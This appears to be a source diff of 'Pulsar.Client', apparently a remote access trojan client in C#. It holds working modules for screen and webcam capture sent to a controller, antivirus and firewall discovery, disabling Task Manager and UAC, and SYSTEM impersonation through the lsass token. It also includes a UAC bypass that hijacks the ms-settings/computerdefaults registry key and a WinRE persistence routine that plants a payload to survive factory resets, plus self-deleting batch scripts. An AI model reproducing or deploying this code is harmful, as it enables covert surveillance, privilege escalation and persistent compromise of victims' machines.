public MovedRegion[] MovedRegions { get; internal set; }
/// <summary>
/// Returns the list of non-overlapping rectangles that indicate the areas of the desktop image that the operating system updated since the last retrieved frame.
/// </summary>
/// <remarks>
/// To produce a visually accurate copy of the desktop, an application must first process all moved regions before it processes updated regions.
/// </remarks>
public Rectangle[] UpdatedRegions { get; internal set; }
/// <summary>
/// The number of frames that the operating system accumulated in the desktop image surface since the last retrieved frame.
/// </summary>
public int AccumulatedFrames { get; internal set; }
/// <summary>
/// Gets the location of the top-left-hand corner of the cursor. This is not necessarily the same position as the cursor's hot spot, which is the location in the cursor that interacts with other elements on the screen.
/// </summary>
public Point CursorLocation { get; internal set; }
/// <summary>
/// Gets whether the cursor on the last retrieved desktop image was visible.
/// </summary>
public bool CursorVisible { get; internal set; }
/// <summary>
/// Gets whether the desktop image contains protected content that was already blacked out in the desktop image.
/// </summary>
public bool ProtectedContentMaskedOut { get; internal set; }
/// <summary>
/// Gets whether the operating system accumulated updates by coalescing updated regions. If so, the updated regions might contain unmodified pixels.
/// </summary>
public bool RectanglesCoalesced { get; internal set; }
}
}
@@ -0,0 +1,23 @@
using System.Drawing;
namespace Pulsar.Client.Helper.ScreenStuff.DesktopDuplication
{
/// <summary>
/// Describes the movement of an image rectangle within a desktop frame.
/// </summary>
/// <remarks>
/// Move regions are always non-stretched regions so the source is always the same size as the destination.
/// </remarks>
public struct MovedRegion
{
/// <summary>
/// Gets the location from where the operating system copied the image region.
/// </summary>
public Point Source { get; internal set; }
/// <summary>
/// Gets the target region to where the operating system moved the image region.
/// </summary>
public Rectangle Destination { get; internal set; }
}
}
@@ -0,0 +1,15 @@
using SharpDX.DXGI;
namespace Pulsar.Client.Helper.ScreenStuff.DesktopDuplication
{
internal class PointerInfo
{
public byte[] PtrShapeBuffer;
public OutputDuplicatePointerShapeInformation ShapeInfo;
public SharpDX.Point Position;
public bool Visible;
public int BufferSize;
public int WhoUpdatedPositionLast;
public long LastTimeStamp;
}
}
@@ -0,0 +1,149 @@
using Pulsar.Client.Config;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace Pulsar.Client.Helper
{
public static class ScreenHelperCPU
{
private const int SRCCOPY = 0x00CC0020;
private const int CURSOR_SHOWING = 0x00000001;
private static readonly int CursorInfoSize = Marshal.SizeOf(typeof(CURSORINFO));
[StructLayout(LayoutKind.Sequential)]
public struct POINT
{
public int X;
public int Y;
}
[StructLayout(LayoutKind.Sequential)]
public struct CURSORINFO
{
public int cbSize;
public int flags;
public IntPtr hCursor;
public POINT ScreenPosition;
}
[DllImport("user32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool GetCursorInfo(out CURSORINFO pci);
[DllImport("user32.dll")]
private static extern bool DrawIcon(IntPtr hDC, int X, int Y, IntPtr hIcon);
[DllImport("gdi32.dll")]
private static extern bool BitBlt(IntPtr hdcDest, int nXDest, int nYDest, int nWidth, int nHeight, IntPtr hdcSrc, int nXSrc, int nYSrc, int dwRop);
[DllImport("gdi32.dll")]
private static extern IntPtr CreateDC(string lpszDriver, string lpszDevice, string lpszOutput, IntPtr lpInitData);
[DllImport("gdi32.dll")]
private static extern bool DeleteDC(IntPtr hdc);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool SetThreadDesktop(IntPtr hDesktop);
public static Bitmap CaptureScreen(int screenNumber, bool setThreadPointer = false)
{
if (setThreadPointer)
{
SetThreadDesktop(Settings.OriginalDesktopPointer);
}
Rectangle bounds = GetBounds(screenNumber);
Bitmap screen = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format32bppArgb);
using (Graphics g = Graphics.FromImage(screen))
{
IntPtr destDeviceContext = g.GetHdc();
using (var srcDeviceContext = new DeviceContext("DISPLAY"))
{
BitBlt(destDeviceContext, 0, 0, bounds.Width, bounds.Height, srcDeviceContext.Handle, bounds.X, bounds.Y, SRCCOPY);
DrawCursor(destDeviceContext, bounds);
}
g.ReleaseHdc(destDeviceContext);
}
return screen;
}
private static void DrawCursor(IntPtr destDeviceContext, Rectangle bounds)
{
var cursorInfo = new CURSORINFO { cbSize = CursorInfoSize };
if (GetCursorInfo(out cursorInfo) && cursorInfo.flags == CURSOR_SHOWING)
{
DrawIcon(destDeviceContext, cursorInfo.ScreenPosition.X - bounds.X, cursorInfo.ScreenPosition.Y - bounds.Y, cursorInfo.hCursor);
}
}
public static Rectangle GetBounds(int screenNumber)
{
var rects = DisplayManager.GetAllMonitorRects();
if (screenNumber < 0 || screenNumber >= rects.Count)
throw new ArgumentOutOfRangeException(nameof(screenNumber));
var r = rects[screenNumber];
return new Rectangle(r.left, r.top, r.right - r.left, r.bottom - r.top);
}
private class DeviceContext : IDisposable
{
public IntPtr Handle { get; }
public DeviceContext(string deviceName)
{
Handle = CreateDC(deviceName, null, null, IntPtr.Zero);
}
public void Dispose()
{
DeleteDC(Handle);
}
}
}
public class DisplayManager
{
[DllImport("user32.dll")]
public static extern bool EnumDisplayMonitors(IntPtr hdc, IntPtr lprcClip, MonitorEnumProc lpfnEnum, IntPtr dwData);
public delegate bool MonitorEnumProc(IntPtr hMonitor, IntPtr hdcMonitor, ref Rect lprcMonitor, IntPtr dwData);
[StructLayout(LayoutKind.Sequential)]
public struct Rect
{
public int left;
public int top;
public int right;
public int bottom;
}
public static int GetDisplayCount()
{
int count = 0;
EnumDisplayMonitors(IntPtr.Zero, IntPtr.Zero,
(IntPtr hMonitor, IntPtr hdcMonitor, ref Rect lprcMonitor, IntPtr dwData) =>
{
count++;
return true;
}, IntPtr.Zero);
return count;
}
public static List<Rect> GetAllMonitorRects()
{
var rects = new List<Rect>();
EnumDisplayMonitors(IntPtr.Zero, IntPtr.Zero,
(IntPtr hMonitor, IntPtr hdcMonitor, ref Rect lprcMonitor, IntPtr dwData) =>
{
rects.Add(lprcMonitor);
return true;
}, IntPtr.Zero);
return rects;
}
}
}
+205
View File
@@ -0,0 +1,205 @@
using Pulsar.Common.Messages;
using Pulsar.Common.Networking;
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
namespace Pulsar.Client.Helper
{
public class SystemElevation
{
private const uint TOKEN_ALL_ACCESS = 0x000F01FF;
private const uint TOKEN_DUPLICATE = 0x00000002;
private const uint TOKEN_QUERY = 0x00000004;
private const int SE_PRIVILEGE_ENABLED = 0x2;
[StructLayout(LayoutKind.Sequential)]
public struct TokPriv1Luid
{
public int Count;
public long Luid;
public int Attr;
}
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool OpenProcessToken(IntPtr processHandle, uint desiredAccess, out IntPtr tokenHandle);
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out long lpLuid);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool AdjustTokenPrivileges(
IntPtr tokenHandle,
bool disableAllPrivileges,
ref TokPriv1Luid newState,
int bufferLength,
IntPtr previousState,
IntPtr returnLength);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool DuplicateToken(IntPtr existingTokenHandle, int impersonationLevel, out IntPtr duplicateTokenHandle);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool SetThreadToken(IntPtr thread, IntPtr token);
[DllImport("kernel32.dll")]
public static extern IntPtr GetCurrentProcess();
public static void Elevate(ISender client)
{
if (!IsAdministrator())
{
Debug.WriteLine("Run the Command as an Administrator");
client.Send(new SetStatus { Message = "Run the Command as an Administrator" });
return;
}
if (!EnablePrivilege("SeDebugPrivilege"))
{
Debug.WriteLine("Failed to enable SeDebugPrivilege.");
client.Send(new SetStatus { Message = "Failed to enable SeDebugPrivilege." });
return;
}
if (!DuplicateAndSetToken())
{
Debug.WriteLine("Token duplication and impersonation failed.");
client.Send(new SetStatus { Message = "Token duplication and impersonation failed." });
}
else
{
Debug.WriteLine("Token duplication and impersonation successful.");
client.Send(new SetStatus { Message = "Token duplication and impersonation successful." });
}
}
private static bool IsAdministrator()
{
WindowsPrincipal principal = new WindowsPrincipal(WindowsIdentity.GetCurrent());
return principal.IsInRole(WindowsBuiltInRole.Administrator);
}
private static bool EnablePrivilege(string privilege)
{
if (!LookupPrivilegeValue(null, privilege, out long luid))
{
return false;
}
TokPriv1Luid tpLuid = new TokPriv1Luid
{
Count = 1,
Luid = luid,
Attr = SE_PRIVILEGE_ENABLED
};
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, out IntPtr hToken))
{
return false;
}
try
{
return AdjustTokenPrivileges(hToken, false, ref tpLuid, 0, IntPtr.Zero, IntPtr.Zero);
}
finally
{
CloseHandle(hToken);
}
}
private static bool DuplicateAndSetToken()
{
Process lsass = Process.GetProcessesByName("lsass")[0];
if (!OpenProcessToken(lsass.Handle, TOKEN_DUPLICATE | TOKEN_QUERY, out IntPtr hLsassToken))
{
return false;
}
try
{
if (!DuplicateToken(hLsassToken, 2, out IntPtr duplicateTokenHandle))
{
return false;
}
try
{
return SetThreadToken(IntPtr.Zero, duplicateTokenHandle);
}
finally
{
CloseHandle(duplicateTokenHandle);
}
}
finally
{
CloseHandle(hLsassToken);
}
}
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool CloseHandle(IntPtr hObject);
public static void DeElevate(ISender client)
{
if (!IsAdministrator())
{
Debug.WriteLine("Run the Command as an Administrator");
client.Send(new SetStatus { Message = "Run the Command as an Administrator" });
return;
}
if (!DisablePrivilege("SeDebugPrivilege"))
{
Debug.WriteLine("Failed to disable SeDebugPrivilege.");
client.Send(new SetStatus { Message = "Failed to disable SeDebugPrivilege." });
return;
}
if (!RevertToSelf())
{
Debug.WriteLine("Failed to revert to self.");
client.Send(new SetStatus { Message = "Failed to revert to self." });
}
else
{
Debug.WriteLine("Reverted to self successfully.");
client.Send(new SetStatus { Message = "Reverted to self successfully." });
}
}
private static bool DisablePrivilege(string privilege)
{
if (!LookupPrivilegeValue(null, privilege, out long luid))
{
return false;
}
TokPriv1Luid tpLuid = new TokPriv1Luid
{
Count = 1,
Luid = luid,
Attr = 0 // Disable the privilege
};
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, out IntPtr hToken))
{
return false;
}
try
{
return AdjustTokenPrivileges(hToken, false, ref tpLuid, 0, IntPtr.Zero, IntPtr.Zero);
}
finally
{
CloseHandle(hToken);
}
}
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool RevertToSelf();
}
}
+137
View File
@@ -0,0 +1,137 @@
using Microsoft.Win32;
using Pulsar.Common.Helpers;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Management;
namespace Pulsar.Client.Helper
{
public static class SystemHelper
{
public static string GetUptime()
{
try
{
var explorers = System.Diagnostics.Process.GetProcessesByName("explorer");
if (explorers.Length > 0)
{
// Select the oldest explorer instance (earliest StartTime)
var oldest = explorers.OrderBy(p => p.StartTime).First();
DateTime sessionStart = oldest.StartTime;
TimeSpan uptimeSpan = DateTime.Now - sessionStart;
return $"{uptimeSpan.Days}d : {uptimeSpan.Hours}h : {uptimeSpan.Minutes}m : {uptimeSpan.Seconds}s";
}
else
{
return "Explorer not running";
}
}
catch
{
TimeSpan uptimeSpan = TimeSpan.FromMilliseconds(Environment.TickCount);
return $"{uptimeSpan.Days}d : {uptimeSpan.Hours}h : {uptimeSpan.Minutes}m : {uptimeSpan.Seconds}s";
}
}
public static string GetPcName()
{
return Environment.MachineName;
}
public static string GetAntivirus()
{
try
{
string antivirusName = string.Empty;
// starting with Windows Vista we must use the root\SecurityCenter2 namespace
string scope = "root\\SecurityCenter2";
string query = "SELECT * FROM AntivirusProduct";
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query))
{
foreach (ManagementObject mObject in searcher.Get())
{
antivirusName += mObject["displayName"].ToString() + "; ";
}
}
antivirusName = StringHelper.RemoveLastChars(antivirusName);
return (!string.IsNullOrEmpty(antivirusName)) ? antivirusName : "N/A";
}
catch
{
return "Unknown";
}
}
public static string GetFirewall()
{
try
{
string firewallName = string.Empty;
// starting with Windows Vista we must use the root\SecurityCenter2 namespace
string scope = "root\\SecurityCenter2";
string query = "SELECT * FROM FirewallProduct";
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query))
{
foreach (ManagementObject mObject in searcher.Get())
{
firewallName += mObject["displayName"].ToString() + "; ";
}
}
firewallName = StringHelper.RemoveLastChars(firewallName);
return (!string.IsNullOrEmpty(firewallName)) ? firewallName : "N/A";
}
catch
{
return "Unknown";
}
}
public static string GetDefaultBrowser()
{
try
{
const string registryKey = @"Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice";
using (var key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(registryKey))
{
string progId = key?.GetValue("ProgId")?.ToString() ?? "";
if (!string.IsNullOrEmpty(progId))
{
var map = new Dictionary<string, string>(StringComparer.OrdinalIgnoreCase)
{
{ "ChromeHTML", "Google Chrome" },
{ "MSEdgeHTM", "Microsoft Edge" },
{ "IE.HTTP", "Internet Explorer" },
{ "FirefoxURL", "Mozilla Firefox" },
{ "BraveHTML", "Brave" },
{ "OperaStable", "Opera" },
{ "VivaldiHTM", "Vivaldi" }
};
foreach (var kvp in map)
{
if (progId.StartsWith(kvp.Key, StringComparison.OrdinalIgnoreCase))
return kvp.Value;
}
// fallback: trim weird suffixes
return progId.Split('-')[0].Replace("URL", "").Replace("HTML", "").Trim();
}
}
}
catch
{
// ignore and fallback
}
return "-";
}
}
}
@@ -0,0 +1,56 @@
using Microsoft.Win32;
using System;
namespace Pulsar.Client.Helper.TaskManager
{
/// <summary>
/// Provides functionality to enable or disable the Windows Task Manager.
/// </summary>
public static class TaskManager
{
private const string RegistryKeyPath = @"Software\Microsoft\Windows\CurrentVersion\Policies\System";
private const string ValueName = "DisableTaskMgr";
/// <summary>
/// Enables the Windows Task Manager by removing the registry restriction.
/// </summary>
public static void Enable()
{
try
{
using (RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(RegistryKeyPath, true))
{
if (key != null)
{
key.DeleteValue(ValueName, false);
}
}
}
catch (Exception ex)
{
System.Diagnostics.Debug.WriteLine($"Failed to enable Task Manager: {ex.Message}");
}
}
/// <summary>
/// Disables the Windows Task Manager by setting the registry restriction.
/// </summary>
public static void Disable()
{
try
{
using (RegistryKey key = Microsoft.Win32.Registry.CurrentUser.CreateSubKey(RegistryKeyPath))
{
if (key != null)
{
key.SetValue(ValueName, 1, RegistryValueKind.DWord);
}
}
}
catch (Exception ex)
{
System.Diagnostics.Debug.WriteLine($"Failed to disable Task Manager: {ex.Message}");
}
}
}
}
+58
View File
@@ -0,0 +1,58 @@
using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Pulsar.Client.Helper.UAC
{
public class Bypass
{
private static string randomBatname = Guid.NewGuid().ToString("N").Substring(0, 8);
public static void DoUacBypass()
{
string exePath = Application.ExecutablePath;
string batPath = System.IO.Path.Combine(System.IO.Path.GetTempPath(), randomBatname + ".bat");
string batContent = $@"
@echo off
timeout /t 4 /nobreak >nul
start """" ""{exePath}""
(goto) 2>nul & del ""%~f0""
";
System.IO.File.WriteAllText(batPath, batContent, Encoding.ASCII);
string command = $"conhost --headless \"{batPath}\"";
using (RegistryKey classesKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(@"Software\Classes", true))
{
using (RegistryKey cmdKey = classesKey.CreateSubKey(@"ms-settings\Shell\Open\command"))
{
cmdKey.SetValue("", command, RegistryValueKind.String);
cmdKey.SetValue("DelegateExecute", "", RegistryValueKind.String);
}
}
Process p = new Process();
p.StartInfo.FileName = "computerdefaults.exe";
p.Start();
p.WaitForExit();
using (RegistryKey classesKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(@"Software\Classes", true))
{
try
{
classesKey.DeleteSubKeyTree("ms-settings");
}
catch { }
}
}
}
}
+46
View File
@@ -0,0 +1,46 @@
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Pulsar.Client.Helper.UAC
{
public class UACToggle
{
public static void EnableUAC()
{
try
{
Microsoft.Win32.RegistryKey uacKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", true);
if (uacKey != null)
{
uacKey.SetValue("EnableLUA", 1, Microsoft.Win32.RegistryValueKind.DWord);
uacKey.Close();
}
}
catch (Exception ex)
{
Debug.WriteLine("Error enabling UAC: " + ex.Message);
}
}
public static void DisableUAC()
{
try
{
Microsoft.Win32.RegistryKey uacKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", true);
if (uacKey != null)
{
uacKey.SetValue("EnableLUA", 0, Microsoft.Win32.RegistryValueKind.DWord);
uacKey.Close();
}
}
catch (Exception ex)
{
Debug.WriteLine("Error disabling UAC: " + ex.Message);
}
}
}
}
+205
View File
@@ -0,0 +1,205 @@
using AForge.Video;
using AForge.Video.DirectShow;
using System;
using System.Diagnostics;
using System.Drawing;
using System.Threading;
namespace Pulsar.Client.Helper
{
public class WebcamHelper
{
private readonly object _lock = new object();
private Bitmap _currentFrame;
private bool _isRunning = false;
private VideoCaptureDevice _videoDevice;
private int _width;
private int _height;
private DateTime _lastFrameTime = DateTime.MinValue;
private readonly TimeSpan _frameInterval = TimeSpan.FromMilliseconds(33); // ~30fps
public void StartWebcam(int webcamIndex)
{
try
{
if (_isRunning) return;
FilterInfoCollection captureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice);
if (captureDevices.Count == 0)
{
Debug.WriteLine("No webcam detected.");
return;
}
if (webcamIndex < 0 || webcamIndex >= captureDevices.Count)
{
Debug.WriteLine("Invalid selection.");
return;
}
_videoDevice = new VideoCaptureDevice(captureDevices[webcamIndex].MonikerString);
var videoCapabilities = _videoDevice.VideoCapabilities;
if (videoCapabilities != null && videoCapabilities.Length > 0)
{
bool foundMatchingResolution = false;
foreach (var capability in videoCapabilities)
{
if (capability.AverageFrameRate >= 25 && capability.AverageFrameRate <= 35)
{
_videoDevice.VideoResolution = capability;
foundMatchingResolution = true;
Debug.WriteLine($"Selected video mode: {capability.FrameSize.Width}x{capability.FrameSize.Height} @ {capability.AverageFrameRate}fps");
break;
}
}
if (!foundMatchingResolution && videoCapabilities.Length > 0)
{
_videoDevice.VideoResolution = videoCapabilities[0];
Debug.WriteLine($"Selected default video mode: {videoCapabilities[0].FrameSize.Width}x{videoCapabilities[0].FrameSize.Height} @ {videoCapabilities[0].AverageFrameRate}fps");
}
}
_videoDevice.NewFrame += new NewFrameEventHandler(FinalFrame_NewFrame);
_videoDevice.VideoSourceError += VideoDevice_VideoSourceError;
_videoDevice.Start();
_isRunning = true;
}
catch (Exception ex)
{
Debug.WriteLine($"Error starting webcam: {ex.Message}");
}
}
public static string[] GetWebcams()
{
try
{
FilterInfoCollection captureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice);
string[] webcams = new string[captureDevices.Count];
for (int i = 0; i < captureDevices.Count; i++)
{
webcams[i] = captureDevices[i].Name;
}
return webcams;
}
catch (Exception ex)
{
Debug.WriteLine($"Error getting webcams: {ex.Message}");
return new string[0];
}
}
public void StopWebcam()
{
if (!_isRunning) return;
try
{
_videoDevice.SignalToStop();
_videoDevice.WaitForStop();
}
catch (Exception ex)
{
Debug.WriteLine($"Error stopping webcam: {ex.Message}");
}
finally
{
if (_videoDevice != null)
{
_videoDevice.NewFrame -= FinalFrame_NewFrame;
_videoDevice.VideoSourceError -= VideoDevice_VideoSourceError;
_videoDevice = null;
}
_isRunning = false;
}
}
public Bitmap GetLatestFrame()
{
DateTime now = DateTime.UtcNow;
lock (_lock)
{
try
{
if (_currentFrame == null)
return null;
if ((now - _lastFrameTime) >= _frameInterval)
{
_lastFrameTime = now;
return _currentFrame?.Clone() as Bitmap;
}
return null;
}
catch (Exception ex)
{
Debug.WriteLine($"Error getting latest frame: {ex.Message}");
return null;
}
}
}
public Bounds GetBounds()
{
lock (_lock)
{
try
{
return new Bounds { Width = _width, Height = _height };
}
catch (Exception ex)
{
Debug.WriteLine($"Error getting bounds: {ex.Message}");
return new Bounds { Width = 0, Height = 0 };
}
}
}
private void FinalFrame_NewFrame(object sender, NewFrameEventArgs eventArgs)
{
lock (_lock)
{
try
{
_currentFrame?.Dispose();
Bitmap frame = (Bitmap)eventArgs.Frame.Clone();
frame.RotateFlip(RotateFlipType.RotateNoneFlipX);
_currentFrame = frame;
_width = _currentFrame.Width;
_height = _currentFrame.Height;
}
catch (Exception ex)
{
Debug.WriteLine($"Error processing new frame: {ex.Message}");
}
}
}
private void VideoDevice_VideoSourceError(object sender, VideoSourceErrorEventArgs eventArgs)
{
var desc = eventArgs.Description ?? string.Empty;
if (desc.IndexOf("0x80004002", StringComparison.OrdinalIgnoreCase) >= 0 ||
desc.IndexOf("Interface not supported", StringComparison.OrdinalIgnoreCase) >= 0)
{
Debug.WriteLine("Webcam does not support required video control interface; ignoring.");
}
else
{
Debug.WriteLine($"Video source error: {desc}");
}
}
}
public struct Bounds
{
public int Width { get; set; }
public int Height { get; set; }
}
}
+236
View File
@@ -0,0 +1,236 @@
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Xml.Linq;
namespace Pulsar.Client.Helper.WinRE
{
public class WinREPersistence
{
private static readonly Random random = new Random();
private static readonly string SystemDrive = Path.GetPathRoot(Environment.SystemDirectory);
private static readonly string OEMPath = Path.Combine(SystemDrive, "Recovery", "OEM");
private static readonly string OEMDataBackupPath = Path.Combine(OEMPath, "XRSBackupData");
private static readonly string ResetConfigPath = Path.Combine(OEMPath, "ResetConfig.xml");
private static string GenerateRandomString(int length)
{
return new string(Enumerable.Repeat("ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", length).Select(s => s[random.Next(s.Length)]).ToArray());
}
public static bool CreateEnvironment()
{
if (!Directory.Exists(OEMPath))
{
try
{
Directory.CreateDirectory(OEMPath);
}
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
return false;
}
}
if (Directory.Exists(OEMDataBackupPath))
return false;
Directory.CreateDirectory(OEMDataBackupPath);
return true;
}
public static void InstallFile(byte[] fileBytes, string extension)
{
if (CreateEnvironment())
Debug.WriteLine("Created OEM Environment");
else
Debug.WriteLine("OEM Environment already exists, continuing installation");
List<string> stringList = new List<string>();
string path2 = GenerateRandomString(20) + extension;
stringList.Add(path2);
try
{
File.WriteAllBytes(Path.Combine(OEMPath, path2), fileBytes);
}
catch
{
Debug.WriteLine("Error writing stub file");
return;
}
Debug.WriteLine("Successfully wrote stub file: " + path2);
string payload = CreatePayload("cmd.exe /c start %TARGETOSDRIVE%\\Recovery\\OEM\\" + path2, false);
string basicResetFileName = GenerateRandomString(20) + ".bat";
string factoryResetFileName = GenerateRandomString(20) + ".bat";
if (BackupCurrentConfig(basicResetFileName, factoryResetFileName, stringList.ToArray()))
Debug.WriteLine("Successfully backed up current config");
else
Debug.WriteLine("Error backing up current config");
CreateOrUpdateResetConfig(basicResetFileName, factoryResetFileName, payload);
Debug.WriteLine("Successfully Installed!");
}
private static string CreatePayload(string command, bool UseEscaped = true)
{
string randomString = GenerateRandomString(20);
string str = !UseEscaped ? command : command.Replace("%", "%%").Replace("^", "^^").Replace("&", "^&").Replace("|", "^|").Replace("<", "^<").Replace(">", "^>").Replace("\"", "\"\"");
return "\r\n@echo off\r\nfor /F \"tokens=1,2,3 delims= \" %%A in ('reg query \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\RecoveryEnvironment\" /v TargetOS') DO SET TARGETOS=%%C\r\n\r\nfor /F \"tokens=1 delims=\\\" %%A in ('Echo %TARGETOS%') DO SET TARGETOSDRIVE=%%A\r\n\r\nreg load HKLM\\" + randomString + " %TARGETOSDRIVE%\\windows\\system32\\config\\SOFTWARE\r\n\r\nreg add HKLM\\" + randomString + "\\Microsoft\\Windows\\CurrentVersion\\RunOnce /v " + randomString + " /t REG_SZ /d \"" + str + "\"\r\n\r\nreg unload HKLM\\" + randomString + "\r\n";
}
private static bool BackupCurrentConfig(
string basicResetFileName,
string factoryResetFileName,
string[] additionalDeletes = null)
{
List<string> contents = new List<string>()
{
basicResetFileName,
factoryResetFileName
};
if (additionalDeletes != null)
contents.AddRange(additionalDeletes);
try
{
File.WriteAllLines(Path.Combine(OEMDataBackupPath, "DELETEME"), contents);
}
catch
{
return false;
}
if (File.Exists(ResetConfigPath))
{
try
{
File.Copy(ResetConfigPath, Path.Combine(OEMDataBackupPath, "configBackup"), true);
}
catch
{
return false;
}
}
return true;
}
private static void CreateOrUpdateResetConfig(
string basicResetFileName,
string factoryResetFileName,
string payload)
{
if (!File.Exists(ResetConfigPath))
CreateNewResetConfig(basicResetFileName, factoryResetFileName, payload);
else
UpdateExistingResetConfig(basicResetFileName, factoryResetFileName, payload);
}
private static void CreateNewResetConfig(
string basicResetFileName,
string factoryResetFileName,
string payload)
{
new XDocument(new XDeclaration("1.0", "utf-8", null), new object[1]
{
new XElement((XName) "Reset", new object[2]
{
CreateRunElement("BasicReset_AfterImageApply", basicResetFileName, 1),
CreateRunElement("FactoryReset_AfterImageApply", factoryResetFileName, 1)
})
}).Save(ResetConfigPath);
SaveScriptFile(basicResetFileName, payload);
SaveScriptFile(factoryResetFileName, payload);
}
private static void UpdateExistingResetConfig(
string basicResetFileName,
string factoryResetFileName,
string payload)
{
XElement resetConfig = XElement.Load(ResetConfigPath);
XElement[] array = resetConfig.Elements((XName)"Run").Where(e => (string)e.Attribute((XName)"Phase") == "FactoryReset_AfterImageApply" || (string)e.Attribute((XName)"Phase") == "BasicReset_AfterImageApply").ToArray();
int duration = array.Max(e => (int)e.Element((XName)"Duration"));
string additionalCommand1 = UpdatePhase(array, "BasicReset_AfterImageApply", basicResetFileName);
string additionalCommand2 = UpdatePhase(array, "FactoryReset_AfterImageApply", factoryResetFileName);
if (additionalCommand1 == null)
AddNewPhase(resetConfig, "BasicReset_AfterImageApply", basicResetFileName, duration);
if (additionalCommand2 == null)
AddNewPhase(resetConfig, "FactoryReset_AfterImageApply", factoryResetFileName, duration);
SaveScriptFile(basicResetFileName, payload, additionalCommand1);
SaveScriptFile(factoryResetFileName, payload, additionalCommand2);
resetConfig.Save(ResetConfigPath);
}
private static XElement CreateRunElement(string phase, string path, int duration)
{
return new XElement((XName)"Run", new object[3]
{
new XAttribute((XName) "Phase", phase),
new XElement((XName) "Path", path),
new XElement((XName) "Duration", duration)
});
}
private static string UpdatePhase(XElement[] phases, string phaseName, string fileName)
{
XElement xelement = phases.FirstOrDefault(p => (string)p.Attribute((XName)"Phase") == phaseName);
if (xelement == null)
return null;
string str1 = "%TARGETOSDRIVE%\\Recovery\\OEM\\" + (string)xelement.Element((XName)"Path");
string str2 = (string)xelement.Element((XName)"Param") ?? string.Empty;
xelement.Element((XName)"Param")?.Remove();
xelement.Element((XName)"Path").Value = fileName;
return "\"" + str1 + "\" " + str2;
}
private static void AddNewPhase(
XElement resetConfig,
string phaseName,
string fileName,
int duration)
{
XElement runElement = CreateRunElement(phaseName, fileName, duration);
resetConfig.Add(runElement);
}
private static void SaveScriptFile(string fileName, string payload, string additionalCommand = null)
{
string contents = payload;
if (!string.IsNullOrEmpty(additionalCommand))
contents += additionalCommand;
try
{
File.WriteAllText(Path.Combine(OEMPath, fileName), contents);
Debug.WriteLine("Wrote Stuff");
}
catch
{
Debug.WriteLine("Error writing: " + fileName);
}
}
public static void Uninstall()
{
if (!Directory.Exists(OEMDataBackupPath))
{
Debug.WriteLine("Not Installed");
return;
}
Debug.WriteLine("Uninstalling Reset Persistence");
_Uninstall();
Debug.WriteLine("Uninstalled Reset Persistence");
}
private static void _Uninstall()
{
try
{
Directory.Delete(OEMPath, true);
}
catch (Exception ex)
{
Debug.WriteLine("Error restoring config file: " + ex.Message);
}
}
}
}
BIN
View File
Binary file not shown.
+76
View File
@@ -0,0 +1,76 @@
using Pulsar.Common.Helpers;
using System.IO;
using System.Text;
namespace Pulsar.Client.IO
{
/// <summary>
/// Provides methods to create batch files for application update, uninstall and restart operations.
/// </summary>
public static class BatchFile
{
/// <summary>
/// Creates the uninstall batch file.
/// </summary>
/// <param name="currentFilePath">The current file path of the client.</param>
/// <returns>The file path to the batch file which can then get executed. Returns <c>string.Empty</c> on failure.</returns>
public static string CreateUninstallBatch(string currentFilePath)
{
string batchFile = FileHelper.GetTempFilePath(".bat");
string uninstallBatch =
"@echo off" + "\r\n" +
"chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ...
"timeout /T 5 /NOBREAK > nul" + "\r\n" +
"del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" +
"del \"%~f0\" /a /f /q >nul 2>&1 & exit";
File.WriteAllText(batchFile, uninstallBatch, new UTF8Encoding(false));
return batchFile;
}
/// <summary>
/// Creates the update batch file.
/// </summary>
/// <param name="currentFilePath">The current file path of the client.</param>
/// <param name="newFilePath">The new file path of the client.</param>
/// <returns>The file path to the batch file which can then get executed. Returns an empty string on failure.</returns>
public static string CreateUpdateBatch(string currentFilePath, string newFilePath)
{
string batchFile = FileHelper.GetTempFilePath(".bat");
string updateBatch =
"@echo off" + "\r\n" +
"chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ...
"timeout /T 5 /NOBREAK > nul" + "\r\n" +
"del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" +
